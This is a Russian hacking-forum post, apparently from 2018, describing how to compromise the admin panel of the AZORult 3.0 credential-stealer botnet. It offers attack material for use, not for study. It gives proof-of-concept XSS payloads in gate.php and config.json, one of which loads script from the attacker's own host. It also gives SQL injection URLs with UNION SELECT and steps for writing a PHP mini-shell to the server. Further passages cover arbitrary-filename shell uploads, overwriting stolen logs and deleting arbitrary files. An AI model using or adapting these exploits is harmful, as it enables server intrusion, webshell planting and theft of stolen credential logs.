Взлом админки ботрета AZORult 3

Asiris

Легенда
27 Май 2018
142
248
190
Как должно быть многим известно, угнать логи с админки ранних версий было до идиотизма просто - найди адрес гейта, найдешь и всё остальное. Чуть позже пошли по рукам корявые XSS, ломающие верстку и т.д.

Но на анализ Величайшему, тайно, под покровом ночи, была дана версия 3.0, где большинство ошибок, активно используемых разными тупыми нубасами (и илитой, конечно же) уже было закрыто.

XSS через гейт.
Функция ShowHomePage(), строка 183 (gate.php):

$tmp[$i]['p_soft_name'] = "<img src=img/softs/".$tmp[$i]['p_soft_name'].".png> " - Pastebin.com

Не смотря на то, что переменная $tmp[$i]['p_soft_name'] обрабатывалась ранее с помощью htmlspecialchars, одинарные кавычки были пропущены. В теории можно было провести XSS-атаку.

POC:

<?php ///////////// // Адрес гейта $url="http://azorult30/gate.php" - Pastebin.com

Обычный алерт, но работал как часы. А что если мы захотим исполнить свой js (куки то не угонишь - уже стоял флаг httponly)? Задача усложнялась тем, что существовало ограничение на кол-во символов в этом поле. И в результате долгих потуг был рожден вот такой монстр:

<?php ///////////// // Домен с вашим скриптом $xss="http:/ - Pastebin.com


Что удивительно, оно срабатывало, хоть и не всегда (FF - временами, Chrome - временами, Opera/IE - как часы). В админке это выглядело крайне занимательно:

proxy.php?image=https%3A%2F%2Fimage.prntscr.com%2Fimage%2F4_lgZoW1RriUIddpb8eXeA.png&hash=cb78065e9b773697871f6c194eca62e4


Но всё же работало) Если подгрузить свой js, то все эти непотребства можно было убрать и навести шороху.

SQL-injection внутри админки
Функции ShowReportsPage() и ShowPasswordsPage().
Уязвимые параметры - datefrom, dateup, search, countries, cookiesearch.


Примеры:

/index.php?page=reports&datefrom=2019-04-01' union select user(),database(),3,4, - Pastebin.com

Заливка шелла:
Убеждаемся, что есть права (file_priv=Y)

/index.php?page=passwords&search=-123', '123') union select null,null,null,null, - Pastebin.com

Заливаем мини-шелла:

/index.php?page=passwords&dateup=1984-04-01' union select null,"<?php echo 'PWN! - Pastebin.com

Было еще парочку инъекций, но, согласитесь, и так неплохо вышло.

Произвольные имена отчетов и перезапись отчетов
В gate.php недостаточно фильтровалась переменная filename. Можно было указать любое имя. На php 5.2 это привело бы к заливке шелла через nullbyte. Но и на последних версиях php тоже была возможна заливка шелла - если залить файл 1.php.zip, а Apache неправильно сконфигурирован, то файл будет исполняться как php-скрипт.

<?php ///////////// // Адрес гейта $url="http://azorult30/gate.php" - Pastebin.com

Как фича - тот, кто украл ранее логи, мог затереть существующие, указав в качестве имени файла старую дату и имя отчета.

Удаление файлов
Если получен каким либо способом доступ к базе данных (phpmyadmin, adminer, прямой коннект), то изменив значение reports.filename в таблице (например ./../files/index.html), можно удалить любой файл на хосте (удаляем отчет в котором изменили значение, а затем жмем EmptyTrash).

Активная XSS в config.json
Файл config.json был доступен для чтения кому угодно. Риски - палево АВ и еще хз кому прогружаемого файла ("DAE:"), кто угодно мог спарсить правила стилера, что тоже не очень хорошо. Ну и вдобавок там была XSS. Достаточно сохранить в любое из полей для файл-граббера:

"><img src=x alt="" onerror='t=document.getElementById("cssmenu");var n=document - Pastebin.com


Разумеется, вместо xss.js (который был использован в тестах) можно подгружать js-код со своего хоста.

Были еще веселенькие CSRF, но это обычно интересно только петушкам-белошляпникам (или автору кода, хехе), потому описывать их не стал.

That's all folks.
Кто-то должно быть возмутится, дескать мол столько времени уже прошло, сударь, актуальная версия азорульта - 3.3, а Вы нас старьем потчуете. Я Вам, господа, со всем, присущим мне тактом и изяществом, покорно отвечу:

- Твоей админке конец. Мне пофиг вообще.

P.S. Актуальная версия тоже была проверена на ошибки.
Пользуйтесь на здоровье.

 
Последнее редактирование: